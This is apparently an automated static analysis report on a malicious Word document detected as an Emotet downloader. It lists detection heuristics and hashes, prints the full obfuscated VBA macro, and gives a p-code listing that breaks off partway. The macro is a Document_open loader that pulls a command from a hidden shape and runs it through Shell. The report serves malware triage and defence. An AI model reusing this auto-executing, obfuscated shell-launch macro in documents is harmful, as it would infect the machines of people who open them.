Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bf090cbd05257d59…

MALICIOUS

Office (OLE)

138.9 KB Created: 2018-12-05 12:46:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 714a5db5b1cf3a744bd719aeb9ec094b SHA-1: 95d6b5c343ca2d24d58368326734e701b3cd1706 SHA-256: bf090cbd05257d59a74cd4a0c36d0276ab9da5b44375ec5830e87c85bb04ba91
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6774999-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6774999-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       End Select
znpVRDa = Array(zDiDNOaT, zlwTNnz, FXPLGREH, Interaction@.Shell(IwsvNzc, VGzNK), JtHoFjSSo)
   Select Case CFwFdPfJoZcfIlmtKTXPwiJU
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30022 bytes
SHA-256: ca90d07d17ec186da768c9de32d878a72c64d815d114d3cfd762d1c8312326f4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
225 of 275 identifiers look randomly generated (e.g. 'ILWKjdjAnGzsCXdmLovISHkO') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XYivwpIwHXism"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   Select Case klzKJUAqYQKKUickRcqnCtLz
      Case 179608668
SPVkjIOZVZMjho = 43054643
EjzsHUmzvmvLzqZAiFBkVn = 216212335
wvJCXluChNofzj = ChrB(314551136 / ChrB(333978597))
YpwNCbizMzcnVSRzzvLK = ZJssijCuCzJCHzzkouUfD
      Case 73642335
SPLuXjAnjoswfEUXscFJzS = 242001164
VTPJBrfjOVZdToiN = 16337510
aOPzSfUWbDzBrziz = ChrB(169475894 / ChrB(25228905))
rmrJLjKirEDzrHlsW = 332791662
   End Select
   Select Case WuvLKRuGtiLNsWcSYSqWKY
      Case 99728931
TGYbsbwkiiiLwuz = 279384384
zJzqtjKzEHlCMi = 331888037
msDtTNRlbiJnRTiVASNP = ChrB(104286906 / ChrB(122728649))
XNboUKiWEkjMCtwkkrN = OZWikdQBtRjPTSjfr
      Case 161745670
asIFDlHbbDhcXCDKzrtErujd = 259126596
QsjMQtLvmWGUTz = 188203873
pwLoLNQHjozUFj = ChrB(78692635 / ChrB(204267786))
CUPrPmoQcPjEdYwbq = 32493666
   End Select
   Select Case TOhfVuaFErYWLvz
      Case 180705588
jOjDLZtnCfzzpPafJhdh = 321415711
TsHMwrPwwZKioOq = 28161148
pnrTObHPczqCOVt = ChrB(220085678 / ChrB(160179679))
qvwdCYDianKaMpEYouFpERA = UtYwiDQzQTzIKLlSPfAUFBlB
      Case 323044378
hzbjpZvBIIAGAWWMKspwOc = 56043080
ZZQfrSIWztWRVhdaNIDdSJ = 207679421
wsqsMAbEroJQIPJpzdGH = ChrB(3330217 / ChrB(34607034))
dOOiFZfVPtmhzcPKwRSZhXN = 118581505
   End Select
   Select Case wPoztVviuNrGcAiPSJmhBM
      Case 304892135
wzGbtvRwdLAURMIK = 116734849
OaGIJMzfVEawokVcBvPToz = 316856555
dRANwFBbPPzTGqoudOZNVjXQ = ChrB(340340285 / ChrB(271098528))
NvwzOiKisLkjQCwj = mBVLGVpaaiawtkNJtnj
      Case 112883748
ipwLwithJKWAwdwTA = 42455785
IXovkiwbXXWPSPGDMZz = 70154470
wtQYDwvGPpshFIvutLdzGW = ChrB(66745811 / ChrB(257529435))
EksZmuBvnLdXXhlDUHhdhMGL = 60285386
   End Select
   Select Case GUOHhWQJNNCKLWcb
      Case 322195466
uzjpXRzTliXwzQNYo = 172299558
ZscWVZZtjwYJUlOXucQz = 322517708
NkmlPNmzmhCvXYRd = ChrB(98096614 / ChrB(107890446))
YNUNUCMltTwXciOirjjKLHmM = HZOpFQNAzYwtXSjCcsdpJZM
      Case 55125107
ZufGmRbIWMdzvnCjXdKSlUQ = 341188939
iOIWhiMGwfWhuMG = 138702004
AGFEhEaGmvCqHFdjwDDTl = ChrB(272698659 / ChrB(197904334))
rwIfBdQDwBTKuCBJh = 105019597
   End Select
   Select Case zkhBBbmvJdwFnmXYibdS
      Case 32602610
CVCVnZbYwWcNXR = 259166298
SqZhbpLWJZwAsXYkYthLwfoN = 129926074
icdaPGljJnsXbNKjLNdbf = ChrB(175362621 / ChrB(331055768))
pdjbzmBMNrKjtjKqOIOksAR = ASTaksEEdmlmWJjWlf
      Case 63790923
CbmcDmMXMNzoLPahSbbVm = 43750691
GwXTFYrzMrhSZfr = 149218255
fhsQnwaHiCEJEozvWjifTHwU = ChrB(92035875 / ChrB(254072085))
iwBBaEiqFOoTBzMWWmpICjWD = 340985826
   End Select
   Select Case MmKlIKWinaPAGKQdQ
      Case 243158042
lZOJFbWwwEilfFkjzKJj = 321968990
buLkhBpiZqzaEsw = 190270895
JlMYdJokuVdQSHB = ChrB(231454941 / ChrB(215564318))
UzVuUJTfnoFBriWFzzkjzkWz = jLOGjvrXudfkOQCFwWAfsd
      Case 311920486
MIDwAAjaVHozEYDsNiwErUk = 221044376
bwNWUtCQUubrsXutFPHbF = 1049794
SIROhqDsXWQYCWEBOlh = ChrB(242516609 / ChrB(200168794))
BVHCKlFdFcbYvOCfVZRB = 22292578
   End Select
   Select Case rsAOJFpAOzKPKaQvTQb
      Case 26870989
TtfwJBilBUjsKYOTOQaDIwpa = 183669324
poQJpfBaXzUSzDGONcb = 147249900
BBbEzBApXEEUjL = ChrB(306672186 / ChrB(141978636))
fDrkBPzvQWwtjNzFaomoEqi = kAuPwQsLtVzXfP
      Case 238722
cJjiDvorEOJXIhmpZpzAVj = 325139558
ilANQcaKozLvGz = 324155951
MDKjHUDLjHzpQzRsLiASva = ChrB(176391460 / ChrB(186132181))
wjIVqiZsLoRZNsJhodIfku = 268429004
   End Select
   Select Case opdiAliJtnoKkrE
      Case 277436595
olPzinILbfFRwHLjpP = 99325936
rCVbRViNiGafiRKAS = 63896769
BVXYGcrufdavcpZ = ChrB(198682371 / ChrB(250032259))
ojNJujVFZihzLRjJN = TdOwZawjDLwqJnYjidssarDA
      Case 20081138
MhSJOSbdKIBpHmK = 72269361
JGiYuZbmCRUVcaOvPNQR = 306423196
fOjcQipVGiPOttUkSIqWLBHH = ChrB(228467437 / ChrB(221429552))
trYttiNbUsSJtzhKmGNhUb = 204808167
   End Select
Set iYjXCAzvK = Shapes("OtOddiKXNm").TextFrame
   Select Case nHqiWFAkjAQqajVqutc
      Case 212643495
vHYnvpDkbOiFci = 99770509
IwvARFUstIYVzb = 303095796
cTszRqaQzAImllw = ChrB(14016315 / ChrB(42848872))
mwjfnqnfunQhkzTWcImPiS = fDQwhHHKWPJozbzfBL
      Case 251864584
nzQPISOJpQqHUaAcWtFYmcuR = 180977629
WvfdkDwWhjmAnPsw = 140976730
YBUWaUJIGOJLEwo = ChrB(329713427 / ChrB(313039009))
dMfnLzsUpVGpfnHota = 278442005
   End Select
IwsvNzc = iYjXCAzvK.ContainingRange + nMpUZUJ + pWdFfnC + TcziN + VEQFOHv + JQVGT + HkTXPf + sDpdkW + hzsSKi + Mddlu + GDwio + YbBRWvM + nLdIdsD
   Select Case nBYObCYzWCsZJbwBcRXiMZRp
      Case 304562147
qZaCXlwAMZAIvfOoZTWiE = 136045506
TVCSljNkiUtMzYT = 204598102
aIPWBTWrTXAzTQd = ChrB(142346356 / ChrB(132677629))
jVTNRzpRoBTOPGo = DvFiSBjaRLNnOEPqf
      Case 115841890
JoNrQhjfUYFItIEMiQmpip = 290886343
FlCCkldjwTfbqEpAiWLCMDTi = 71573053
hatcHUvRliijvjuVKadcWdb = ChrB(245289167 / ChrB(44602140))
dpjCRXrsDCpVMKf = 164661176
   End Select
   Select Case UZrjzOMXwQJEfilX
      Case 291502789
sQQoZoZojfffnzoAwYFcS = 4716413
KFRjFsoYAHVojwfzDKJihrR = 185390344
PijNRQPsYFiHETvv = ChrB(41785150 / ChrB(206112638))
SKFESYCRJVKTopYqOF = irGwLqzrzqOjbMuJ
      Case 341232765
aRoPwFWNmuSfdjqu = 319830696
LOtNVjDbvmjGufYfonWT = 298676709
awECZTMhtjPOwl = ChrB(108405337 / ChrB(84444388))
ILWKjdjAnGzsCXdmLovISHkO = 89863667
   End Select
   Select Case CrbjspvmEawYonM
      Case 167827606
lloaFmvzNmtMczDQcrLBaZN = 11354035
fwNNRTuGtXDhfwFj = 246024676
DCacdvIMvBYSLYnPZnhk = ChrB(312138745 / ChrB(121209059))
FiZzjwuFUpuKzkDVSFFYtibM = uQWSzAjkEUtEvYPAvDdQ
      Case 91906819
iVROfpuFXHNTpjYnUoLZuQ = 68408319
XjqXziwvRFlAAlVtq = 337507814
lqcjicIioFotOLBqwzWHsJRB = ChrB(234124157 / ChrB(306202033))
miSRjvSYavzHvpvJqd = 82223424
   End Select
   Select Case PVwbkQVXzYBtDDuruX
      Case 90030981
fOswtijithYfzRMQ = 328449128
TMfEIYqhlRMbntzwpBdAiBk = 282770419
SAVumqdtBEBjbFUILzOS = ChrB(113190459 / ChrB(300553295))
iCbLnzLScoZqYUnzbiim = wPOvJrWEVYNYVnrKipvplY
      Case 290737170
PvnYznkiHplmNQ = 202158754
oNGQMRChvpzsnwD = 156108864
MjNEzHioiRjBEwOLpB = ChrB(159477137 / ChrB(117225972))
pztFdHprvKlOPAkRBqG = 162830913
   End Select
   Select Case whJkMzJsSkpGaoBE
      Case 11514624
UuEdnloSYzGMYADofL = 198308044
GdSclCRVDIsztWthFVtYwuaL = 252162254
MpClJqaCNqccskT = ChrB(127012012 / ChrB(97065144))
EGSBGWiJRFDLDGpip = SRzCYrJCFddIEcfJHjn
      Case 69638433
jDzYUwBmVmNvsAzRBhbsD = 112670948
fIBaftzJrfslOzi = 27180781
HPjqQNLcisFwLRfPzUPTXWt = ChrB(141941284 / ChrB(189923306))
PAOjSXdjlnhPPupwzB = 306241643
   End Select
   Select Case WHjfwtbtAwFoJl
      Case 90010282
wPmvYhjlnlrnfWSc = 311004697
oJMUJCvjlSBVndtvWOPCi = 266079864
urMCoNiictZzDAcGjzs = ChrB(314855593 / ChrB(112547245))
SzNujzEMsFzmRcwAHSHoY = OjpvuHjCmsGKZPotiiZ
      Case 105146193
TzRizJjraocLqj = 215389991
oFwjqTHfHDhLOoc = 98308418
bujXMuwzKMEiwjj = ChrB(54244829 / ChrB(266270315))
ZdjJAqlawcXdlLNDOozhbL = 329066602
   End Select
Const VGzNK = 0
   Select Case cFkbGjsTZcuqIjYFChGSOh
      Case 132016938
naiEbLClQizAkna = 246153100
iuvDjnhCwIXWRXuldnjwnr = 89695861
IZiiXVOHVdfnYDHnBCf = ChrB(16636229 / ChrB(200569412))
wHDOHAtnCqjVvGJwi = uQAorGNZjtwkMLvtaXi
      Case 61589606
ONiapGCIAdCYEINO = 68748792
wBiTAqSiVaBfmTUNf = 23126951
NCAKQjPuLIChfQHiI = ChrB(205430037 / ChrB(312620259))
sIKkcHUriDqdKvwM = 318724277
   End Select
   Select Case rVjIIbNjwFtUnvjzuV
      Case 180240049
iDCwwYGKOQIjENcZF = 59771241
hOMDjXQzJdzwnR = 34326212
oSiLkUDUiwNPZTKulQuzRzT = ChrB(172448725 / ChrB(211978908))
zjRUVOzWnGWzTMLrVmK = XpTDKWXFZozIfJ
      Case 152694223
DNbwQDjDYozhnZijPf = 21846186
NOJwqtwwHNRJppn = 49372040
LkUIPfWZpRzKSsAG = ChrB(97761143 / ChrB(60632491))
EdIXGhwKWnswmWVDuizzin = 164482025
   End Select
   Select Case aMpChUniZtHvMinvDvXUhnYd
      Case 89475282
aPjkYwnaROcoUTEkNPkT = 264730099
jFRBGRQnnLpCtYBoUJHlMY = 127702980
aEPwZIttroibSXsWK = ChrB(198006198 / ChrB(173596818))
zSafiYvbLCaHmCaBB = OfSvKFpaWzQlbiwCPI
      Case 200396979
OANShoNboPwqUqPvwDHUq = 57621316
zKabsIjnSXSFNR = 706874
WrOlGBaRlSDELAJt = ChrB(35525915 / ChrB(328538183))
HHMVSFcdSCkBdwqlc = 182944760
   End Select
znpVRDa = Array(zDiDNOaT, zlwTNnz, FXPLGREH, Interaction@.Shell(IwsvNzc, VGzNK), JtHoFjSSo)
   Select Case CFwFdPfJoZcfIlmtKTXPwiJU
      Case 315884745
KNGPzUlEzbPQJzoCPAXvuiKb = 145365224
mbzUvbJjERDZZIuDoL = 194666784
JYbuTJzACcDftjiKFdfnGcu = ChrB(149502867 / ChrB(333884298))
bOBquwzbJOAFBmdJicNXft = jwKjpnhdEvdhjzMhFhR
      Case 149079116
KzbtKzwSIaJipRrjSH = 266515936
kvKXEuJRuIqOWFZzinf = 273487235
LvUTzuiUwmZdukOoDoPoj = ChrB(153693046 / ChrB(341930535))
vLjrsAfcwtYApEEAbzwWQ = 242746766
   End Select
   Select Case SGaJzLfPBoTNRPMEw
      Case 69438170
caljKbJtSSYbNcPBEIEiXpR = 71730426
XWmqUMuacWohZQi = 259342351
NwcNFlCNHvrbVmJaY = ChrB(255719955 / ChrB(31801684))
CzGiBkGaUirWvFcUhv = ljcMQCwGjiGBddQPQ
      Case 279736609
MVfbsdDUjQKosdVTnakpbCdW = 315001496
cOtfpMijiwGIjjMhS = 275332113
qOYIJdofAXKrIjiApbA = ChrB(178212303 / ChrB(331873758))
JuZMiqBdtjozFAEF = 232083190
   End Select
   Select Case HzzhIDPQrShtkZ
      Case 51011499
fjrndUnzINtifnwX = 4124395
XCcmClJmzOLkjdfPOjRGanKz = 168477630
KkkEVKsmCFitdGdqUZmXjQz = ChrB(104465041 / ChrB(166101132))
FuYjscMHaYBvsBru = ahUFLcjSkMBOtkViIEw
      Case 92374155
MFjWfFpZjlfmpZiEI = 303701972
oRHQLsjojQkwtfHNb = 266410454
fXusEbWbELmaAKjZAEpVd = ChrB(333981728 / ChrB(109796672))
JwpmGhLHPZOtuZD = 268217361
   End Select
End Sub


' Processing file: /tmp/qstore__thkm7n7
' ===============================================================================
' Module streams:
' Macros/VBA/XYivwpIwHXism - 17044 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld klzKJUAqYQKKUickRcqnCtLz 
' 	SelectCase 
' Line #3:
' 	LitDI4 0x9C5C 0x0AB4 
' 	Case 
' 	CaseDone 
' Line #4:
' 	LitDI4 0xF633 0x0290 
' 	St SPVkjIOZVZMjho 
' Line #5:
' 	LitDI4 0x236F 0x0CE3 
' 	St EjzsHUmzvmvLzqZAiFBkVn 
' Line #6:
' 	LitDI4 0xAB60 0x12BF 
' 	LitDI4 0x1BE5 0x13E8 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St wvJCXluChNofzj 
' Line #7:
' 	Ld ZJssijCuCzJCHzzkouUfD 
' 	St YpwNCbizMzcnVSRzzvLK 
' Line #8:
' 	LitDI4 0xB15F 0x0463 
' 	Case 
' 	CaseDone 
' Line #9:
' 	LitDI4 0xA50C 0x0E6C 
' 	St SPLuXjAnjoswfEUXscFJzS 
' Line #10:
' 	LitDI4 0x4A66 0x00F9 
' 	St VTPJBrfjOVZdToiN 
' Line #11:
' 	LitDI4 0xFF36 0x0A19 
' 	LitDI4 0xF669 0x0180 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St aOPzSfUWbDzBrziz 
' Line #12:
' 	LitDI4 0xFF6E 0x13D5 
' 	St rmrJLjKirEDzrHlsW 
' Line #13:
' 	EndSelect 
' Line #14:
' 	Ld WuvLKRuGtiLNsWcSYSqWKY 
' 	SelectCase 
' Line #15:
' 	LitDI4 0xBE23 0x05F1 
' 	Case 
' 	CaseDone 
' Line #16:
' 	LitDI4 0x1140 0x10A7 
' 	St TGYbsbwkiiiLwuz 
' Line #17:
' 	LitDI4 0x35A5 0x13C8 
' 	St zJzqtjKzEHlCMi 
' Line #18:
' 	LitDI4 0x4ABA 0x0637 
' 	LitDI4 0xB0C9 0x0750 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St msDtTNRlbiJnRTiVASNP 
' Line #19:
' 	Ld OZWikdQBtRjPTSjfr 
' 	St XNboUKiWEkjMCtwkkrN 
' Line #20:
' 	LitDI4 0x0B06 0x09A4 
' 	Case 
' 	CaseDone 
' Line #21:
' 	LitDI4 0xF544 0x0F71 
' 	St asIFDlHbbDhcXCDKzrtErujd 
' Line #22:
' 	LitDI4 0xC361 0x0B37 
' 	St QsjMQtLvmWGUTz 
' Line #23:
' 	LitDI4 0xC11B 0x04B0 
' 	LitDI4 0xE10A 0x0C2C 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St pwLoLNQHjozUFj 
' Line #24:
' 	LitDI4 0xD062 0x01EF 
' 	St CUPrPmoQcPjEdYwbq 
' Line #25:
' 	EndSelect 
' Line #26:
' 	Ld TOhfVuaFErYWLvz 
' 	SelectCase 
' Line #27:
' 	LitDI4 0x5934 0x0AC5 
' 	Case 
' 	CaseDone 
' Line #28:
' 	LitDI4 0x6A1F 0x1328 
' 	St jOjDLZtnCfzzpPafJhdh 
' Line #29:
' 	LitDI4 0xB47C 0x01AD 
' 	St TsHMwrPwwZKioOq 
' Line #30:
' 	LitDI4 0x3DAE 0x0D1E 
' 	LitDI4 0x25DF 0x098C 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St pnrTObHPczqCOVt 
' Line #31:
' 	Ld UtYwiDQzQTzIKLlSPfAUFBlB 
' 	St qvwdCYDianKaMpEYouFpERA 
' Line #32:
' 	LitDI4 0x441A 0x1341 
' 	Case 
' 	CaseDone 
' Line #33:
' 	LitDI4 0x2648 0x0357 
' 	St hzbjpZvBIIAGAWWMKspwOc 
' Line #34:
' 	LitDI4 0xEFBD 0x0C60 
' 	St ZZQfrSIWztWRVhdaNIDdSJ 
' Line #35:
' 	LitDI4 0xD0A9 0x0032 
' 	LitDI4 0x0FBA 0x0210 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St wsqsMAbEroJQIPJpzdGH 
' Line #36:
' 	LitDI4 0x6901 0x0711 
' 	St dOOiFZfVPtmhzcPKwRSZhXN 
' Line #37:
' 	EndSelect 
' Line #38:
' 	Ld wPoztVviuNrGcAiPSJmhBM 
' 	SelectCase 
' Line #39:
' 	LitDI4 0x48E7 0x122C 
' 	Case 
' 	CaseDone 
' Line #40:
' 	LitDI4 0x3B81 0x06F5 
' 	St wzGbtvRwdLAURMIK 
' Line #41:
' 	LitDI4 0xD8EB 0x12E2 
' 	St OaGIJMzfVEawokVcBvPToz 
' Line #42:
' 	LitDI4 0x2E3D 0x1449 
' 	LitDI4 0xA2A0 0x1028 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St dRANwFBbPPzTGqoudOZNVjXQ 
' Line #43:
' 	Ld mBVLGVpaaiawtkNJtnj 
' 	St NvwzOiKisLkjQCwj 
' Line #44:
' 	LitDI4 0x7824 0x06BA 
' 	Case 
' 	CaseDone 
' Line #45:
' 	LitDI4 0xD2E9 0x0287 
' 	St ipwLwithJKWAwdwTA 
' Line #46:
' 	LitDI4 0x78E6 0x042E 
' 	St IXovkiwbXXWPSPGDMZz 
' Line #47:
' 	LitDI4 0x75D3 0x03FA 
' 	LitDI4 0x965B 0x0F59 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St wtQYDwvGPpshFIvutLdzGW 
' Line #48:
' 	LitDI4 0xE1CA 0x0397 
' 	St EksZmuBvnLdXXhlDUHhdhMGL 
' Line #49:
' 	EndSelect 
' Line #50:
' 	Ld GUOHhWQJNNCKLWcb 
' 	SelectCase 
' Line #51:
' 	LitDI4 0x500A 0x1334 
' 	Case 
' 	CaseDone 
' Line #52:
' 	LitDI4 0x1526 0x0A45 
' 	St uzjpXRzTliXwzQNYo 
' Line #53:
' 	LitDI4 0x3ACC 0x1339 
' 	St ZscWVZZtjwYJUlOXucQz 
' Line #54:
' 	LitDI4 0xD5E6 0x05D8 
' 	LitDI4 0x470E 0x066E 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St NkmlPNmzmhCvXYRd 
' Line #55:
' 	Ld HZOpFQNAzYwtXSjCcsdpJZM 
' 	St YNUNUCMltTwXciOirjjKLHmM 
' Line #56:
' 	LitDI4 0x2473 0x0349 
' 	Case 
' 	CaseDone 
' Line #57:
' 	LitDI4 0x214B 0x1456 
' 	St ZufGmRbIWMdzvnCjXdKSlUQ 
' Line #58:
' 	LitDI4 0x6CB4 0x0844 
' 	St iOIWhiMGwfWhuMG 
' Line #59:
' 	LitDI4 0x0D23 0x1041 
' 	LitDI4 0xC7CE 0x0BCB 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St AGFEhEaGmvCqHFdjwDDTl 
' Line #60:
' 	LitDI4 0x78CD 0x0642 
' 	St rwIfBdQDwBTKuCBJh 
' Line #61:
' 	EndSelect 
' Line #62:
' 	Ld zkhBBbmvJdwFnmXYibdS 
' 	SelectCase 
' Line #63:
' 	LitDI4 0x79F2 0x01F1 
' 	Case 
' 	CaseDone 
' Line #64:
' 	LitDI4 0x905A 0x0F72 
' 	St CVCVnZbYwWcNXR 
' Line #65:
' 	LitDI4 0x83BA 0x07BE 
' 	St SqZhbpLWJZwAsXYkYthLwfoN 
' Line #66:
' 	LitDI4 0xD23D 0x0A73 
' 	LitDI4 0x8298 0x13BB 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St icdaPGljJnsXbNKjLNdbf 
' Line #67:
' 	Ld ASTaksEEdmlmWJjWlf 
' 	St pdjbzmBMNrKjtjKqOIOksAR 
' Line #68:
' 	LitDI4 0x5F4B 0x03CD 
' 	Case 
' 	CaseDone 
' Line #69:
' 	LitDI4 0x9523 0x029B 
' 	St CbmcDmMXMNzoLPahSbbVm 
' Line #70:
' 	LitDI4 0xE3CF 0x08E4 
' 	St GwXTFYrzMrhSZfr 
' Line #71:
' 	LitDI4 0x5B23 0x057C 
' 	LitDI4 0xD515 0x0F24 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St fhsQnwaHiCEJEozvWjifTHwU 
' Line #72:
' 	LitDI4 0x07E2 0x1453 
' 	St iwBBaEiqFOoTBzMWWmpICjWD 
' Line #73:
' 	EndSelect 
' Line #74:
' 	Ld MmKlIKWinaPAGKQdQ 
' 	SelectCase 
' Line #75:
' 	LitDI4 0x4C1A 0x0E7E 
' 	Case 
' 	CaseDone 
' Line #76:
' 	LitDI4 0xDB5E 0x1330 
' 	St lZOJFbWwwEilfFkjzKJj 
' Line #77:
' 	LitDI4 0x4DAF 0x0B57 
' 	St buLkhBpiZqzaEsw 
' Line #78:
' 	LitDI4 0xB8DD 0x0DCB 
' 	LitDI4 0x401E 0x0CD9 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St JlMYdJokuVdQSHB 
' Line #79:
' 	Ld jLOGjvrXudfkOQCFwWAfsd 
' 	St UzVuUJTfnoFBriWFzzkjzkWz 
' Line #80:
' 	LitDI4 0x8766 0x1297 
' 	Case 
' 	CaseDone 
' Line #81:
' 	LitDI4 0xDE98 0x0D2C 
' 	St MIDwAAjaVHozEYDsNiwErUk 
' Line #82:
' 	LitDI4 0x04C2 0x0010 
' 	St bwNWUtCQUubrsXutFPHbF 
' Line #83:
' 	LitDI4 0x8281 0x0E74 
' 	LitDI4 0x555A 0x0BEE 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St SIROhqDsXWQYCWEBOlh 
' Line #84:
' 	LitDI4 0x2862 0x0154 
' 	St BVHCKlFdFcbYvOCfVZRB 
' Line #85:
' 	EndSelect 
' Line #86:
' 	Ld rsAOJFpAOzKPKaQvTQb 
' 	SelectCase 
' Line #87:
' 	LitDI4 0x04CD 0x019A 
' 	Case 
' 	CaseDone 
' Line #88:
' 	LitDI4 0x924C 0x0AF2 
' 	St TtfwJBilBUjsKYOTOQaDIwpa 
' Line #89:
' 	LitDI4 0xDAEC 0x08C6 
' 	St poQJpfBaXzUSzDGONcb 
' Line #90:
' 	LitDI4 0x723A 0x1247 
' 	LitDI4 0x6C0C 0x0876 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St BBbEzBApXEEUjL 
' Line #91:
' 	Ld kAuPwQsLtVzXfP 
' 	St fDrkBPzvQWwtjNzFaomoEqi 
' Line #92:
' 	LitDI4 0xA482 0x0003 
' 	Case 
' 	CaseDone 
' Line #93:
' 	LitDI4 0x3C66 0x1361 
' 	St cJjiDvorEOJXIhmpZpzAVj 
' Line #94:
' 	LitDI4 0x3A2F 0x1352 
' 	St ilANQcaKozLvGz 
' Line #95:
' 	LitDI4 0x8524 0x0A83 
' 	LitDI4 0x26D5 0x0B18 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St MDKjHUDLjHzpQzRsLiASva 
' Line #96:
' 	LitDI4 0xE6CC 0x0FFF 
' 	St wjIVqiZsLoRZNsJhodIfku 
' Line #97:
' 	EndSelect 
' Line #98:
' 	Ld opdiAliJtnoKkrE 
' 	SelectCase 
' Line #99:
' 	LitDI4 0x58B3 0x1089 
' 	Case 
' 	CaseDone 
' Line #100:
' 	LitDI4 0x97F0 0x05EB 
' 	St olPzinILbfFRwHLjpP 
' Line #101:
' 	LitDI4 0xFCC1 0x03CE 
' 	St rCVbRViNiGafiRKAS 
' Line #102:
' 	LitDI4 0xA703 0x0BD7 
' 	LitDI4 0x3083 0x0EE7 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St BVXYGcrufdavcpZ 
' Line #103:
' 	Ld TdOwZawjDLwqJnYjidssarDA 
' 	St ojNJujVFZihzLRjJN 
' Line #104:
' 	LitDI4 0x69F2 0x0132 
' 	Case 
' 	CaseDone 
' Line #105:
' 	LitDI4 0xBE31 0x044E 
' 	St MhSJOSbdKIBpHmK 
' Line #106:
' 	LitDI4 0xA59C 0x1243 
' 	St JGiYuZbmCRUVcaOvPNQR 
' Line #107:
' 	LitDI4 0x22ED 0x0D9E 
' 	LitDI4 0xBF30 0x0D32 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St fOjcQipVGiPOttUkSIqWLBHH 
' Line #108:
' 	LitDI4 0x1FE7 0x0C35 
' 	St trYttiNbUsSJtzhKmGNhUb 
' Line #109:
' 	EndSelect 
' Line #110:
' 	SetStmt 
' 	LitStr 0x000A "OtOddiKXNm"
' 	ArgsLd Shapes 0x0001 
' 	MemLd TextFrame 
' 	Set iYjXCAzvK 
' Line #111:
' 	Ld nHqiWFAkjAQqajVqutc 
' 	SelectCase 
' Line #112:
' 	LitDI4 0xAEA7 0x0CAC 
' 	Case 
' 	CaseDone 
' Line #113:
' 	LitDI4 0x608D 0x05F2 
' 	St vHYnvpDkbOiFci 
' Line #114:
' 	LitDI4 0xDFF4 0x1210 
' 	St IwvARFUstIYVzb 
' Line #115:
' 	LitDI4 0xDF3B 0x00D5 
' 	LitDI4 0xD268 0x028D 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St cTszRqaQzAImllw 
' Line #116:
' 	Ld fDQwhHHKWPJozbzfBL 
' 	St mwjfnqnfunQhkzTWcImPiS 
' Line #117:
' 	LitDI4 0x2608 0x0F03 
' 	Case 
' 	CaseDone 
' Line #118:
' 	LitDI4 0x7FDD 0x0AC9 
' 	St nzQPISOJpQqHUaAcWtFYmcuR 
' Line #119:
' 	LitDI4 0x225A 0x0867 
' 	St WvfdkDwWhjmAnPsw 
' Line #120:
' 	LitDI4 0x0713 0x13A7 
' 	LitDI4 0x98A1 0x12A8 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St YBUWaUJIGOJLEwo 
' Line #121:
